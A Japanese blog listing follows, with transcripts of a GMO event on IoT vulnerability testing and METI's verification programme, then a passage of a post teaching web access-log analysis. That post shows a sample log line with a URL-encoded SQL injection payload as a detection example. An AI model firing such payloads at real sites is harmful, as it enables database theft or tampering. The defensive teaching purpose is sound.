セキュリティ の記事一覧

9/21（水）にGMO Developers Night#36 「 経済産業省×GMOサイバーセキュリティbyイエラエ「開発段階におけるIoT機器の脆弱性検証促進事業」について 」をオンラインにて開催。IoTにおけるセキュリティ対策の必要性や有無、また、経済産業省が行う取り組みについて、お話いたしました。 ▻イベント告知：https://developers.gmo.jp/20150/今回Vol.03では、 座談会・Q&Aコンテンツ の書き起こしをお届けします。 Q.WebとIoTの脆弱性で大きな違いがあれば教えてください 今回のセミナーに申し込む時に使用している申し込みサイトがWebですが、IoTは装置。脆弱性の大きな違いは、Webの方であれば大きなパソコンを使って、サーバーなどでいろいろやっていますが、それらに実際に診断を行った時にサーバーの上で何か動かす、例えばマイニングであったりとか変なものを動かされたりとか、そういったものがあります。IoTですと、Webと似たようなところで個人情報などが装置から抜かれてしまう可能性があるというのもありますが、もう1つ、IoTはサイズが小さい。小さい機器で動かさなくてはいけないというところで、脆弱性の対策とかセキュリティ対策をたくさんやると、イメージとしてはパソコンにウイルス対策製品を入れると重くなりますが、同じような感じでただでさえパワーが弱いIoT機器にそんな製品を入れられない。でも対策しなければいけない、ということで、結構大きめの穴が開いたままで動いているIoT機器があるとか、あとは皆さんがいろいろカスタマイズしているので、既知の脆弱性ではないけれども、ちょっとコードを読むことですでにいろいろと攻撃されている脆弱性の変化球があるということも分かります。まとめると、そこまで大きな違いはないが、それぞれの事情から細かいところを見ると脆弱性の違いはあります。IoTは特有の脆弱性があり、Webは特有の脆弱性があり、Webの方はよく調べられているけど、IoTの方はあまり調べられていないからまずい、というところはあります。三村 Q.IoT利用者目線で、簡単にできるセキュリティ対策があれば教えてくだ 一番最初に、パスワードをちゃんと変更してくださいというものがあります。また、最近だとRaspberry Piのような小さい装置がありますが、OSがデフォルトのままで入れた状態だと、何の対策もされていないOSに、パスワードがデフォルトの状態でやられ放題になってしまう。そういう機器であれば、ファイアウォールを設定しましょう、パスワードを変更しましょう、といったことになります。また、アップデートがあればしていきましょうというところが重要なところになってくると思います。ほかの機器でもアップデートが出ていれば実施するし、ベンダーさんからこの機器はもうサポートしませんと言われているのであれば機器を交換する。パソコンに近い形の対策が利用者目線だと一番重要でかつ簡単にできる対策だと思います。三村 Q.IoTの持つセンサーへの攻撃などは評価していないのでしょうか？ もちろん、センサーへの診断は行っています。センサーへの攻撃はどういうふうに評価を解釈するかになりますが、脆弱性に何か攻撃される穴があったり攻撃されたりということがあるかといえば、当然YESです。分かりやすい例ですと、池があったとしましょう。そこに水温を測るセンサーがあったとして、これがIoT機器です。水温が高ければ水を入れて温度を下げる、低ければヒーターを動かすといった"IoTの池"があったとすると、攻撃は水温センサーの値を変な値で返してあげる、サーバーとクライアント（センサー）との通信をいじって、その池は本来ならば二十何℃が正常なのに5℃です、という情報をサーバーにあげる。するとヒーターが動いて池の水温が上がって、池の鯉が死んでしまうかもしれない。こういった攻撃は当然ありますので、その対策や、脆弱性診断は当然重要ですし、我々としてもそういうところの診断依頼は当然来ておりますしやっております。三村 Q.各種脆弱性診断を定期的に行うタイミングなど、指標があれば教えてください。 まず、セキュリティ・バイ・デザインのところから考えると、まずソースコードや、その前の設計段階、基本設計のところだと、例えば通信を暗号化すると、その暗号の方式はちゃんと安全なものですか？と。一例を挙げますとDESとかSSLの暗号でも例えば128ビットとかは最近は使っている例はないですけど、そういうものを仕様書で使いましょうと書いてあれば、そのタイミングで相談いただければ、これは確実に危ないです、これを使っていたら危険ですというものはできますし、基礎のタイミングのところから安全にしていくことはもちろんできると思います。もちろん、設計がしっかりしていて、開発もしっかりしていたとしても、その後のところで診断をした時にここのタイミングで何が見つかるかという話になりますと、例えば設計して実際にシステムを作りました、そこのところで例えば仕様書に書いていないような設定がありましたと、SSHやVPNをしゃべるようなソフトを入れますと、これのデフォルト設定については仕様が特にありませんでした、なのでそのままにしています、という時にここのところで発見というのはあるでしょうし、また実際に組み上がった時にチップやボードで何かこちらから指示はしていない、向こうの方で同じようにここのところは特にケアしなくて渡してしまえばよいといった形で、誰もケアしなかった脆弱性の穴があるということになれば、最後のところで当然発見という形になります。なので、診断は両方とも当然やった方がいいですし、可能であれば当然早いタイミングで行うことができれば、後段で見つかるものは小さいものになりますし、手戻りが少なくなるので当然スムーズにすべてが進むようになるので、早いタイミングからの相談をもし可能であればお願いしております。三村 伊藤各社のつまずくところは、実は各社毎では個別のノウハウですが、我々診断会社はみんなから吸収しているので、共有値というか、ナレッジのデータベースみたいなものだと思うので、開発に着手する時にも、我々みたいな診断会社を特に失敗のナレッジデータベースの感じで使っていただくと、同じような失敗をせずに物事がうまく進むと思っていますので、こういったところをうまく使っていただければと思います。 Q.サービスの穴をついてくることと防ぐことはいたちごっこのような気がしているのですが、継続的に対策できるサービスはお考えですか？ サービスの穴、一般的には守るのは全体を守らなければいけないけれど、攻撃はそのうち1個でも突破できればよいということで、いたちごっこという話はよく出ています。継続的に対策できるというところで1つあるのは、ソフトウェアのアップデートをしっかり管理したうえで行える状態にするということ。また、製造ベンダー側であれば新機能が追加される時にはちゃんとその機能がどういうものかをしっかり管理をしていく。作って終了ではなくて、どんどんアップデートとか、外から脆弱性の話があった時にちゃんと対応できる体制を作っていくというものが、まず基礎として大事になってくると思っております。もちろんその回し方に関するところは、やはり各社のやり方に絡んでくると思いますので、そこは伊藤さんにサービスという形で少し絡めて説明いただければと思います。三村 伊藤基本的には、やはり外部の攻撃はインターネットに繋がった外側のところだと思います。外側のところを我々のホワイトハッカーの考え方でアタックサーフェスといいますが、どこから侵入するのかというところを常に見ていくわけです。これで自分の知らないアタックサーフェスとかインターネット経由の入口があると、そこが盲点になってしまいます。逆にアタックサーフェスなので、こんな入口しか空いてないのにここを重厚長大に騒ぐのは費用対効果が悪かったりするので、こういった観点でアタックサーフェスをドメインとかIPアドレスからあぶり出して管理できるようなサービスとか、ホワイトハッカー視点でここが侵入口でここが重要なところですよ、入口が開いているといっても人間が通れる穴なのかネズミしか通れないのか、希釈化するとみんな入口が開いていますと言われてしまうので、こういったところのプライオリティ付けが自動でスキャンできるサービスを今GMOサイバーセキュリティ byイエラエの中でも検討していて、それをヘルスチェックの形でお出してきるような取組も進んでいる状況でありますので、ぜひご期待をいただければと思っています。 ご視聴・ご参加いただいた皆様、誠にありがとうございました。映像はアーカイブ公開しておりますので、以下より是非ご視聴ください。 https://www.youtube.com/watch?v=SDT0zu9_T8U 連載記事はこちら https://developers.gmo.jp/25025/ https://developers.gmo.jp/25547/

9/21（水）にGMO Developers Night#36 「 経済産業省×GMOサイバーセキュリティbyイエラエ「開発段階におけるIoT機器の脆弱性検証促進事業」について 」をオンラインにて開催。IoTにおけるセキュリティ対策の必要性や有無、また、経済産業省が行う取り組みについて、お話いたしました。 ▻イベント告知：https://developers.gmo.jp/20150/今回Vol.02では、 【セッション②】開発段階におけるIoT機器の脆弱性検証促進事業について の書き起こしをお届けします。 【セッション②】開発段階におけるIoT機器の脆弱性検証促進事業について 登壇者経済産業省商務情報政策局 サイバーセキュリティ課長奥田修司 氏 私からは、開発段階におけるIoT機器の脆弱性検証促進事業を進めておりますので、どうして経済産業省がそのような事業を進めているのかというところも含めてご紹介します。 資料は、それらも含めていろいろなものを今日持ってきていますので、途中飛ばしてしまうところもあるかもしれませんが、あとで資料は皆様にお届けできると聞いておりますので、お時間がある時にでも見ていただければと思います。 最近の攻撃動向と産業界へのメッセージ いきなり飛ばしてしまいますが、最近のサイバー攻撃の状況などについては、あとで見ていただければと思います。 最近のサイバー攻撃の状況に関して経産省よりぜひ皆さんに考えていただきたいことを、ある意味当たり前のことをまとめたような文章になっておりまして、きちんとやっている人はやっているよっていうことですが、そうではない人たちがサイバー攻撃に遭う状況にありますので、そのような方々ににぜひこのようなものが経産省から出ているよとご紹介いただければよいかなと思って、こういうものを出しています。 経済産業省のサイバーセキュリティ対策 経産省の政策はいろいろありますが、今日ご紹介するのは資料の青い枠で囲っているものでして、いろいろな分野別カテゴリでガイドラインやフレームワークを作成して、民間のいろいろな事業者の方々がサイバーセキュリティ対策に取り組もうと思った時に参考にしていただけるものを、様々な有識者の人たちのご意見をお聞きしながら作っているものになりますので、ぜひいろいろなものを作っているのを見ていただければということですが、その一部を今日ご紹介させていただければと思います。 IoT機器に対するセキュリティ対策の必要性 今日お話をさせていただければと思っていたIoT機器についてですが、セキュリティ対策の必要性ということで、先ほども三村さんの方からもいくつかの事例をもってお話をしていただきましたが、実際にセキュリティの事故でIoT機器やOTシステムが止まってしまったという経験のある人がだいたい25％、1/4ほどいるということもありまして、サイバーフィジカルの繋がり、サイバー空間とフィジカル空間との繋がりが増えてきている中でIoT機器やOTシステムへのサイバー攻撃などによる停止が増えてきているのだと思っています。 実際にはそういった攻撃を受けてしまうと、例えばリコールを求められることになったりとか、その製品のメーカーに対する訴訟が起こされたりとかということで、実際に自動車の例であれば140万台のリコールが求められたりとか、心臓のペースメーカーで46万台のリコールに繋がったりとかと、やはりどうしてもこういった脆弱性を残して製品を出荷して影響が出てしまうと開発企業にも影響が出てしまうので、どれだけ事前に対策をしていけるのかをぜひ考えていきたいということでございます。 セキュリティとセーフティの融合への対応 ～IoTセキュリティ・セーフティ・フレームワーク（IoT-SSF）の策定 そのために大事になってくるのはどういうことかということでまとめたのが、「IoTセキュリティ・セーフティ・フレームワーク（IoT-SSF）」と言っておりますが、サイバー空間とフィジカル空間の間をつなぐ第2層、まさにここでIoT機器が活躍をしているわけですが、ここでしっかりと情報の伝達ができるかどうかとか、誤った命令が送られていないかとか、また誤った動作をするようなことにならないかも、しっかりと担保するようなIoT製品を作っていかないといけないということになります。 IoT-SSFの枠組み／ユースケース集の作成 枠組みとしては、どういったことを考えて開発を進めていけばいいのかということを具体的なユースケースを元に分かりやすく解説をしようということで、ここに挙げている6個、ドローンもその中の1つに入っていますけども、6つのケースでリスクアセスメントをどのようにすればいいのかということと、リスク対応をどういうふうに考えていけばいいのかということをまとめたものを公表していますので、ぜひお時間あれば見ていただければと。 このユースケースの中に入ってないといけないのかというとそうではなくて、自分たちが開発をしているものや使っているものを見た時に、自分たちのものだったらこういう風にこのフレームワークを当てはめていけばよいということで見ていただければと思いますので、比較的近いものを参考に見ていただきながら自分たちの製品とか、使っているものに当てはめていただくことが重要と思います。 IoT-SSFに基づくリスクマネジメントのプロセス 実際にリスクアセスメントやリスク対応に向けてどういう事前準備をすればいいのかということと、リスクアセスメントをどうすればいいのかということをまとめていますが、特にこのフレームワークの中ではリスクアセスメントのところは2軸でリスクを分析したらどうかということで提案しています。 第1軸は回復困難性の度合いで、例えば死亡事故に繋がるようなリスクは回復困難とみなさざるを得ないと思いますし、そういった回復困難性がどこまで大きいのかということ。 第2軸は経済的影響の度合いで、幅広く世の中に活用されているものについては影響を受ける人々が多くて、経済的な影響度合いも大きい。 この2つの軸でリスクをきちんと分析をして対策に照らし合わせていこうということです。 サイバーセキュリティ対策の中で重要なのはやはりこのリスクアセスメントで、リスクに応じた対策をとるということを考えていかないと、対策コストがどんどん積み重なっていってしまって、実際にそぐわない、高価な製品しかできなくなってしまいますので、そこはきちんとアセスメントをするということです。 そのうえでリスク対応を考えていこうということですが、このリスク対応のところでこのフレームワークの中でポイントとして挙げているのは、4つの観点で整理をしようと考えております。 第1の観点は製品開発段階、実際に運用前の設計とか製造段階でその機器システムに要求する事項はどういうものなのかということ、第2の観点として運用中に機器システムに要求するものは何かということ、第3の観点としては、運用中のシステムの運用や管理を行う者の能力に関してどういう要求をしていけばいいのかということ、それから第4の観点は社会的なサポート、例えば保険みたいなものをどう考えていけばいいのか、こういった4つの観点をうまく組み合わせることによってコストを抑えながら必要な対策をとれるということをまとめたものになっておりますので、ぜひご覧いただきながら考えていただければというものになっています。 今日は飛ばしてしまいますが、実際にリスク対応の検討やその時の参考になるようなリスト類がまとまった資料になっております。 最後に、今日のテーマでもあるIoT機器の脆弱性の検証促進ということについてお話をさせていただければと思います。 包括的なサイバーセキュリティ検証基盤を構築し、『Proven in Japan』を促進 経済産業省で『Proven in Japan』と言っていますが、いろいろなものをしっかりと検証しながら有効なものをしっかりと活用していこうということで、例えばセキュリティ製品の検証をどうしていくのかということや、まさに今日の話に繋がる、攻撃型を含めたハイレベルな検証サービスを日本の中でしっかりと育てながら活用して、よりセキュアな社会を作っていきたいということを取組んできたわけですが、このハイレベルな検証サービスを、例えばIoT機器で展開をしていこうとすると、製品化されてしまった後に検証して脆弱性がたくさんあるから何とかしなければと気付いても遅いので、開発段階からセキュリティ・バイ・デザインという形で開発をしていくための取組に力を入れて進めていきたいということでこの事業に繋がってきています。 中小企業に対するご協力依頼事項 先ほど三村さんからもご紹介をいただきましたが、中小企業の皆様にご協力をお願いしまして、中小企業が開発をしているIoT機器やその部品についてご提供をいただきながら実際に検証をやってみるということで、三村さんからご紹介をいただいたいろいろな脆弱性の検証を、提供いただいた機器にやってみることを事業としてやりたいと思っています。 なぜこういうことをやるのかというと、アンケート調査でいうと実際に今製造段階で6割程度がまだセキュリティ対策を行っていないとか、出荷前の検証も4割程度の方がまだ実施をしていないという結果が出ています。実際に開発の途中でどういったことを検討されながら開発されているのかといった実態をまずしっかりと把握したうえで、今その中小企業の方々がIoT機器を開発していく、特に自動車、ドローン、医療機器とか、影響の大きい開発をしている時にはしっかりと検証しながらということになるので、中小企業の方々がどのタイミングでどういった検証をやっていけばいいのかというガイドラインを最終的には作りたいと思っていまして、それの材料として様々な中小企業の実態をしっかりと把握させていただきたいということで、こういった事業を展開しています。 ここでいただいた情報を実際に脆弱性検証させていただいて、それを解決していくためにどういったものにしていくのかということで、個別の製品の情報は当然外に出さないということですけども、数多く実施をさせていただいてまとめていきたいということです。 ご協力いただいた企業に対するメリット 一方で、ご提供いただいた企業の皆様にとっては、先ほども少しお話がありましたが、ある意味お金のかかる脆弱性の検証を事業の中で先ほどのような目的で実施させていただきますので、無償で脆弱性の診断を受けていただくという形になるわけです。 その中で多分出てくるのは、例えば設計書や仕様書を検証させていただく中で、開発の初期段階で脆弱性に繋がるような懸念事項が検出されるということで対策をしていくポイントが明らかになってくるとか、実際にファームウェアのバイナリ解析で脆弱性が検出されるということがあるとそこを解決していくということがその段階で分かることになりますし、また実機やプロトタイプだと機器全体の脆弱性診断から弱いところをしっかりと見つけ出して出荷前に対策をとるということになっていくわけです。 こういったことをメリットとしてとらえていただいて、ぜひご協力いただければと思っております。 申し込み要項 お申し込みの要領は、資料のQRコードから読み取っていただければと思います。 全部で百数十の機器について実証しようと思っておりまして、すでに百を超える機器が集まっていて、今月いっぱいで最終的な機器の選定を終えようと思っていますので、最終段階の駆け込みですが、ぜひ関心のある方はご応募いただいて、我々の取組にご協力いただければと思います。 まとめ IoT機器は非常に重要なポイントになってきておりますので、その中でどのような形で対策をとっていけばよいのかを我々も一緒になって考えながら皆様にどういう形で取り組んでいただければよいのかについて明らかにしていきたいということで取組みますので、産業界の皆様と一緒になってセキュリティ対策を講じていきたいと思います。引き続きよろしくお願いいたします。 開催レポートはVol.03に続きます！ 映像はアーカイブ公開しておりますので、以下より是非ご視聴ください。 https://www.youtube.com/watch?v=SDT0zu9_T8U 連載記事はこちら https://developers.gmo.jp/25025/ https://developers.gmo.jp/25604/

9/21（水）にGMO Developers Night#36 「 経済産業省×GMOサイバーセキュリティbyイエラエ「開発段階におけるIoT機器の脆弱性検証促進事業」について 」をオンラインにて開催。IoTにおけるセキュリティ対策の必要性や有無、また、経済産業省が行う取り組みについて、お話いたしました。イベント告知：https://developers.gmo.jp/20150/今回Vol.01では、 【セッション①】IoTにおけるセキュリティ対策の必要性について の書き起こしをお届けします。 【セッション①】IoTにおけるセキュリティ対策の必要性について 登壇者GMOサイバーセキュリティ byイエラエ株式会社 高度解析課課長三村 聡志 GMOサイバーセキュリティ byイエラエ 高度解析部高度解析課課長をしております三村と申します。 私からはまず、「IoTにおけるセキュリティ対策の必要性について」ということで、実際にIoT機器の診断など、どういうものを実際やっているのか、またIoT機器でどのような脆弱性、どのような攻撃があるのだろうか、こういった点を説明します。 GMOサイバーセキュリティ byイエラエとは 最初に、我々「GMOサイバーセキュリティ byイエラエ」は、「誰もが犠牲にならない社会を創る」ということをテーマに、かなり多くのハッカー、もちろん攻撃をする人たちではなく、攻撃をする人たちと同じような思考や技術を持った人たちを多数揃えまして、攻撃者よりも早く、攻撃者と同じような、もしくはそれよりも高度な技術で、何か脆弱性はないだろうか、悪用されることはないだろうかということを診断という形で提供させていただいている集団です。 また、「最強攻撃　最高品質　最低価格」を掲げております。どんな高度な診断をするといっても、皆様のところには届かないような高い値段で出しますと、別の意味で世の中を良くするというところから反しますので、技術をちゃんと提供させていただきながら皆様へはご利用いただきやすい値段で提供しております。 弊社の簡単な数字の説明になりますが、トップクラスのホワイトハッカー数、120名が在籍しております。また、6000件超とありますが、Webや最近では企業に対してペネトレーションテスト、攻撃者のふりをして侵入し、脆弱性の問題がないかを調べる形の診断から、今回のテーマであるIoT機器や組み込み機器に対する診断まで、幅広く対応しております。 ご覧になっている方の中では、「イエラエセキュリティ」という名前であれば知っているという方もいらっしゃるかもしれません。今年2022年、GMOインターネットグループにジョインいたしまして、社名を「GMOサイバーセキュリティ byイエラエ」に変更しております。よく、グループにジョインして何か変わったのですか？と聞かれることがありますが、技術力等々は前からも変わらず、また前以上に腕を磨いておりますので、安心してご依頼いただければと思っております。 IoT普及に伴いセキュリティリスクも増加 では、本題であるIoTは今のところどうなんだというところをお話しいたします。 IoTといっても、様々なものを想像されると思います。例えば、私はプレゼンテーションを進めるためのコントローラーを持っていますが、これがもしインターネットに繋がっていて、YouTubeなどいろいろなメディアで見ている皆さんの側から、このコントローラーにもし侵入できたら、どんなことがあるでしょうか？これを考えてみると、例えば、私が今これからお話しするスライドを、私が話し切る前に前に進めたり後ろに進めたりといったことができるようになってしまいます。そういうことをされると私が困るわけですが、こういうことをしないように・されないように、安全に我々のところで一度チェックをさせていただいて、穴がないだろうか、あれば一緒に直していきましょうという活動になります。 資料では、「IoT普及に伴いセキュリティリスクも増加」と書かさせていただいております。 まず、デバイスのインターネット接続が当たり前になっています。 例えば私も自宅でインターネットに繋がる調理釜を購入しましたが、数年前だと調理釜がインターネットに繋がるなんてことはなかったはずです。最近だと、こういうものがインターネットに繋がることによって、外からメニューや料理の作り方を入手してより高機能、より様々な料理ができるような機能を持ったものが出てきています。こういうものは、サイバー空間とフィジカル空間の融合、そしてそれに伴うセキュリティ上のリスクが当然出てまいります。先ほど例に挙げたプレゼンテーションを進めるための装置でもそうですし、先ほどの電気釜一つとったとしても、意図しない料理を作られたらやはり困ります。 このような世の中に対して、まず喫緊で議論が行われている代表例として2つ、自動車とドローンを挙げて説明します。 最初の例が自動車です。今、各社自動走行を目指していろいろと進められていますが、自動車は高度化がどんどん進んでおります。アクセルを踏んだだけでも、それをそのままエンジンに伝えるわけではなく、ちゃんと燃料などを考えて一番エコな状態でエンジンを動かす、そのためには裏側でちゃんとチェックをして一番良い燃料の出し方を計算するチップ、計算機というものが載っています。 同じような形でカーナビゲーションでも、自動車を運転しているとカーナビに渋滞情報がリアルタイムで出てきますが、これは中に計算するチップが載っていて、それが外と通信をしているというところからできるようになってきています。自動車ですと早いタイミングでこういうふうに高度化・電子化が進んでいて、今は自動走行ということでやっていますが、こちらに際してはこういう対策をしなければいけないとか、こういうことを確認しましょうとかを要件仕様書の形で比較的早いタイミングで作られています。 日本ですとJASPARさんとかが出していますが、こちらの基準に従っていなくても、ベースラインのところは誰が作っても作った時にまずここのレベルで安全なところは守りましょう、できるようにしましょうとか、いろいろな会社さんと手を組みながら一緒になって進めている現状があります。 一方でドローンは、最近ですと様々なところで利用されているのをニュース等でもお感じと思いますが、グラフにもあるようにドローンの利活用はどんどん進んでいます。一昔前だと、おもちゃみたいなものでブーンと飛ばすというものがあったわけですが、最近では無人で飛ばしてみようとか、自動でルートを設定して飛ばしましょう、こういう話がどんどん進んでいます。 こちらに対してやはり問題になってくるのは事故・攻撃等で、様々な国でドローンを用いた攻撃が残念ながら発生してしまっています。こちらに対して、現在日本で進んでいる無人機の有人地帯での目視外飛行、俗にいう「レベル4」に向けて安全性を高めていくために様々な議論が当然ありますが、その中の一つとして当然セキュリティも議論するということが必要となってくるだろうという話になります。 IoTに対するサイバー攻撃リスク IoTの診断や、脆弱性に関して我々がやっているところのお話に入らせていただきます。 まず、IoTに対するサイバー攻撃リスクとして考えられるものとしては、データ漏えいと不正操作の2つが代表的です。 データ漏えいは、例えば設置しているカメラから、本来であればアクセスできない人がアクセスできてしまって、機密情報や、本来はアクセスできてはいけないものが見られてしまう、撮られてしまうというもの。不正操作は、先ほど私が冒頭で申し上げたコントローラーやプレゼンテーションの装置がのっとられてスライドがどんどん動かされてしまうとか、ドローンだと本来想定していないような道を走ってしまう、もしくはその状態で本来であれば行ってはいけない場所にどんどん飛ばしてしまうということができてしまう、ということが考えられます。 データ漏えいや不正操作はやはりされて欲しくはないし、今我々としてもこういうものが起きない、安全な状態でITの利活用というものをどんどん進めるということのお手伝いをしていきたいというものになります。 IoTにおける守るべき対象 一般的には、1つ目はIoTのデバイスや装置。 それと通信、例えばこのコントローラーがインターネットに繋がるのであれば、特にケーブル等は入っていないので、やはり無線など通信の経路、これが2つ目です。 3つ目はクラウド。一般的にIoTだとクラウド環境にデータを置いたり、クラウド環境で何か指示を行ったりというものがやはり一般的な設計になっているものが多く、クラウドも当然重要になってきます。 では、一つ一つ見ていきます。 IoTデバイスに対するサイバー攻撃リスク まず、IoTデバイス、装置そのものに関してのサイバー攻撃リスクですが、1つ目は重要情報の漏えい、2つ目が不正なユーザによる操作、3つ目がデバイスの制御のっとり。 これら3つが一番大きなリスクとして考えなければならないものになります。 IoT通信に対するサイバー攻撃リスク 通信のところに関しては、重要情報の漏えいが起きないかどうかという点をチェックする必要があります。 通信のところは一番多くお客様から聞かれるところですが、通信は何を見るのですか？と。例えば、装置どうしが繋がるWi-FiやBluetoothについて、暗号化が正しく行われていないとか、またそこの電波の情報を盗み見る、盗聴することによって、データが抜かれてしまう、重要情報が盗めてしまう、またその逆でそれらへ不正な命令、不正な電波を飛ばすことによって操作がのっとれるということになると、やはり問題になるわけです。通信は重要情報の漏えいということで、暗号とか、ちゃんと正しいところに通信しているかという点のチェックは大事になります。 クラウドに対するサイバー攻撃リスク 最後はクラウドに対するサイバー攻撃リスクです。 こちらに関しては①重要情報の漏えい、②不正なユーザによる操作、③クラウドの制御のっとり、④デバイスの制御のっとりと、この4つが重要なリスクとなってきます。 ①と②に関してはイメージがつきやすいと思います。③のクラウドの制御のっとりについては、クラウド環境は様々各社様から出ていますが、クラウドのシステムを見てみると、ブラウザからいろいろと設定画面を開いたり、もしくはコマンドで設定をしたりして、クラウドのサーバーの環境を自分たちが一番使いやすい形に設定をするわけです。その設定に不備があった場合、つまり本来であれば防がれているはずの通信の内容、分かりやすい例だとポート番号であったり、よく気付かれにくいところですとアクセス用のインタフェースのところ、そこが本来意図した人以外からのアクセスを遮断する形になっていない、攻撃者から簡単にそこの経由からだとアクセスできてしまうという話になりますと、クラウドがのっとられて、そこからデバイスであったり、また重要情報の抜き取りだったりということが発生してしまう、というものがクラウドに対するリスクになります。 サイバー攻撃事例：クラウド経由でのデバイスのっとり これらのリスクが組み合わさった時にどういう問題が起きるかというところで、これは弊社で以前診断をさせていただいて、お客様からも今回のような場面で使って大丈夫ですよとなったものですが、IoTデバイスとしてドローンの例です。 ドローンがクラウドから命令をもらって、クラウドと通信をしてドローンが動いている状況で、我々がクラウド側から入ってドローン側に侵入をして、ドローン側に対して不正な命令を送ると、実際にその時にはドローンを落下させるといったことが実現できているということが、我々のところで確認できています。 IoTのサイバーセキュリティ全体像 IoTのサイバーセキュリティの全体像としては、脆弱性診断というところ。これは脅威分析、アーキテクチャレビュー、セキュアコーディングの次のところにありますが、ここで一般的には作成された製品を診断してくださいと持ち込まれるものが多々あります。しかし当然ながら、例えば何かルールを作る、先ほどの自動車の例では安全な車を作るためのルールを作るという形になれば、よりもっと先のタイミングで安全になるでしょうし、コードの書き方や設計を全部しっかりやっていくことができれば、どんどん前のタイミングでできるのならばその後ろのところで大きな問題が見つかるということもないですし、ちゃんと開発コストをしっかり抑えた状態で安全なものを作るということが実現可能になってくるというものになります。 IoTに対する脆弱性診断 IoTに対する脆弱性診断ということで、先ほどから何度もお話ししたことを今度は我々の視点からご説明しますと、基本的には1つ目がIoTのデバイスに対する脆弱性診断、2つ目が通信に対する脆弱性診断、3つ目がクラウドに対する脆弱性診断、という形で3つ行っております。 1.IoTデバイス脆弱性診断 診断対象はハードウェア、ソフトウェア、インタフェース。簡単に言ってしまえば、ハードウェアはその装置、IoTの機器を実際にバラして、中に基板だったり小さなものが入っていますが、こちらから中のプログラムを例えば抜き出してみようとか、通信のところやCPU、実際に計算をしているところのチップから何か盗めたり攻撃できたりというものがないだろうかというのが1つ目です。 2つ目のソフトウェア診断は、そのCPUの中で走っているプログラムに問題がないだろうかというもの。 3つ目のインタフェース診断は、その外側に開いている口、例えば一般的なものだとUSBポートに何か問題がないかいうもの。 これら3つの診断が、IoTデバイス脆弱性診断になります。 2.IoT通信脆弱性診断 先ほど私が口頭で説明しましたが、通信の暗号化は正しくできているかどうか、認証・認可の不備、ちゃんと送り先は正しいですか、間違ったところに送ろうとしている時にそれを検知できますか、こういった内容になります。 3.クラウド脆弱性診断 こちらも先ほど説明しましたが、設定不備がないかの診断、そして認証・認可、変な人、外部の人、第三者の攻撃者がアクセスできないようになっているかどうか、そして、APIの脆弱性診断、そもそものドローンなどのIoT機器でAPIのインタフェース受付の部分から内部に侵入できるといったようなものがないかどうかというのをチェックします。 経産省の取組み 現在、経産省様と一緒に、IoT機器に対する脆弱性検証という形で行っております。こちらの取組み経由でお申し込みいただければ、先ほど説明したような診断の内容が無料で実施いただけますので、新しい機器であったりとか、最近IoTではいろいろな機器が各社さんからいろいろなアイディアとともに出ているという状況ではありますが、変な攻撃であったりとか、それでアイディアが潰されてしまうとか、そういうことはやはり我々としても望まないので、こういう取組み等を使ってIoT機器が安全な形で、そこに乗っているアイディアを様々な人たちに対して素晴らしいというものをちゃんと宣伝を、ビジネスをやっていけるような基盤というものを一緒に作るという形で、まずセキュリティのチェックを我々と一緒にできればというものになります。 まとめ まず、IoTのセキュリティリスクが増大しております。こちらは、自動車やドローンの例で説明させていただきました。 2番目に、リリース前の脆弱性診断が大事ということです。こちらは、世の中に出てしまうと外からいろいろな人たちから攻撃を受けるリスクがあります。なので、事前にチェックをすることは大事です。 そして、そのためにやはり診断となるとお金がかかるので、経産省様との取組みで安全性・脆弱性の診断をぜひ一度ご体験いただければというふうに私どもとしては考えております。 開催レポートは「Vol.02」に続きます！ 映像はアーカイブ公開しておりますので、以下より是非ご視聴ください。 https://www.youtube.com/watch?v=SDT0zu9_T8U 連載記事はこちら https://developers.gmo.jp/25547/ https://developers.gmo.jp/25604/

こんにちは。GMOインターネットの平安です。今回は、セキュリティ対策の1つであるログ分析について、Webアクセスログを例としてお話します。 ログ分析について ログ分析とは、様々なシステムやアプリケーションなどのログを分析して攻撃や脅威がないかを調査することです。 攻撃や異常を検知したり攻撃につながる脅威を発見したりすることで、被害を最小限に抑えたり攻撃を防ぐための対策につなげたりすることを目的としています。 分析を行うログは目的や使用しているアプリケーションによって様々ですが、例としては、自分たちが使用しているパソコンの操作ログや、Webサイトにアクセスした際にサーバーに記録されるWebアクセスログ、サーバーへ接続しようとした際の認証のログなどがあります。 アクセスログについて 今回は、ログ分析の例として、Webサイトにアクセスした際の情報が記録されるアクセスログを確認します。以下の画像は、下記のようなURLのサイトにアクセスしたときのログの例です。（IPなどログ内の一部の情報を適当な文字に変更しております。） URL例：https://example.com/blog 123.45.67.89 - - [01/Aug/2022:00:50:47 +0000] "GET /blog HTTP/1.1" 200 9559 917340 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.XX (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36" ↑(IPアドレス) ↑(URL) ↑(HTTPステータスコード) ↑(アクセスに使用したブラウザ) サーバーの設定などによって出力される情報や形式は異なりますが、このログ例からは、接続したURLや接続元のIP、アクセスに使用したブラウザなどを確認することができます。 ログ分析ではこのように、どのようなURへのアクセスがあったか、どのような環境からアクセスがあったかなどの情報から、攻撃がないかを調査します。 攻撃ログの例 では次に、実際の攻撃のログを確認してみます。 下記はSQLインジェクションの脆弱性を狙った攻撃のログです。ログのURLにSELECT や WHERE などSQL文に使用される文字列が含まれていることから、攻撃のログであることが判断できます。 123.45.67.89 - - [01/Aug/2022:07:23:59 +0000] "GET /?btn_id=%28SELECT%20%28CASE%20WHEN%20%281234%3D1234%29%20THEN%20%27%27%20ELSE%20%28SELECT%201234%20UNION%20SELECT%201234%29%20END%29%29 HTTP/1.1" 200 5406 5276 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES;) Gecko/20110303 Firefox/3.X.XX" SQLインジェクションは、アプリケーションの脆弱性を利用し、データベースを不正に操作する攻撃手法です。WEBサイトに脆弱性が存在していた場合、データベース内の情報の漏洩や改ざんなどが行われてしまう可能性があります。 他にも、「OSコマンドインジェクション」や「クロスサイトスクリプティング」などの攻撃手法があります。OSコマンドインジェクションは、Webサイトなどの脆弱性を利用して不正なOSコマンドを送信することにより、Webサーバーで想定していない動作をさせる攻撃手法です。クロスサイトスクリプティングは、Webアプリケーションの処理の脆弱性を利用した攻撃で、Webサイトに悪意のあるスクリプトを埋め込むことでサイトの利用者の情報の窃取などを行います。 OSコマンドインジェクションではコマンドの文字列、クロスサイトスクリプティングでは埋め込もうとしているスクリプトの文字列がURLに含まれることから攻撃であると判断できます。 123.45.67.89 - - [01/Aug/2022:19:11:00 +0900] "GET 